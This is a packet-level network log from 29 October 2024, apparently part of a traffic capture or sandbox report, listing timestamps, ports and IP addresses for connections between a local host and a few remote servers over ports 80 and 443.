Oct 29, 2024 06:59:39.322272062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322283030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322293043 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322314024 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322330952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322338104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322340965 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322374105 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322429895 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322441101 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322458029 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322469950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322472095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322482109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322499037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322585106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322596073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322606087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322607040 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322621107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322627068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322633982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322645903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.322645903 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322675943 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.322685957 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323160887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323204041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323215008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323251009 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323340893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323358059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323369026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323379993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323390007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323407888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323422909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323426008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323431969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323442936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323445082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323461056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323468924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323473930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323483944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323497057 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323497057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323506117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323522091 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323522091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323534012 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323546886 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323551893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323568106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323573112 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323579073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323585033 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323590994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323602915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323611975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323613882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323625088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323637962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323642969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323652983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323657036 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323663950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323673010 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323676109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323689938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323702097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323712111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323713064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323724031 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323740005 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323746920 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323750973 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323762894 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323764086 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323771954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323784113 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323786974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323801994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323812962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323813915 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323831081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323831081 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323841095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323843956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323854923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323864937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323868036 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323882103 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323893070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323903084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323904991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323918104 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323929071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323935986 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323945999 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323952913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323959112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323971987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323978901 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.323982000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323993921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.323993921 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324004889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324016094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324018955 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324026108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324038029 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324044943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324048042 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324079037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324079037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324103117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324115038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324125051 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324139118 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324142933 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324150085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324151993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324163914 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324173927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324177980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324191093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324203968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324206114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324213982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324227095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324230909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324238062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324254990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324259996 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324266911 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324278116 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324285984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324287891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324299097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324305058 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324317932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324331045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324335098 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324342966 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324351072 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324373960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324393988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324405909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324415922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324425936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324433088 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324444056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324455023 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324455023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324465990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324477911 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324482918 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324492931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324496984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324503899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324513912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324517012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324537039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324557066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324558973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324567080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324579954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324599981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324624062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324629068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324635029 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324645996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324659109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324670076 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324670076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324677944 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324701071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324707985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324718952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324729919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324742079 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324753046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324753046 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324764967 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324776888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324789047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324791908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324800014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324810982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324815035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324840069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324857950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324862957 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324867964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324877977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324891090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324901104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324902058 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324919939 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324927092 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324943066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.324975014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324986935 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.324997902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325011015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325012922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325021982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325025082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325033903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325048923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325072050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325073957 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325082064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325098991 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325109959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325117111 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325119972 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325131893 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325133085 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325153112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325160027 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325164080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325176001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325176001 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325186968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325200081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325206995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325211048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325222969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325228930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325251102 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325273991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325320959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325337887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325350046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325360060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325364113 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325371981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325372934 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325385094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325396061 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325407028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325407982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325418949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325439930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325453997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325515985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325529099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325540066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325565100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325570107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325582027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325586081 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325593948 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325612068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325627089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325637102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325645924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325656891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325668097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325683117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325690985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325712919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325725079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325731993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325743914 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325757027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325774908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325783968 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325788021 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325800896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325810909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325814009 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325824976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325826883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325848103 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325854063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325865030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325875044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325886965 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325918913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.325947046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325958967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325969934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.325992107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.326003075 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.326265097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.326276064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.326286077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.326312065 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.326334953 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.326360941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.326462030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.326466084 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.326472998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.326484919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.326497078 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.326498032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.326510906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.326513052 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.326523066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.326565027 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.327572107 CET	443	49926	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.327634096 CET	443	49926	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.327685118 CET	49926	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.328130007 CET	49926	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.328130007 CET	49926	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.328147888 CET	443	49926	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.328157902 CET	443	49926	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.331765890 CET	49932	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.331792116 CET	443	49932	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.331986904 CET	49932	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.332149982 CET	49932	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.332159042 CET	443	49932	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.368674040 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.368726969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.368726015 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.368921995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.378473997 CET	443	49931	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.378962994 CET	49931	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.378993034 CET	443	49931	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.379523993 CET	49931	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.379539013 CET	443	49931	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.386342049 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.386404991 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.386465073 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.386483908 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.386598110 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.386708975 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.387897015 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.387907982 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:39.387937069 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.387964010 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:39.389317989 CET	443	49927	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.389393091 CET	443	49927	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.389446974 CET	49927	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.389978886 CET	49927	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:39.389990091 CET	443	49927	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.393832922 CET	49933	443	192.168.2.5	23.55.178.242
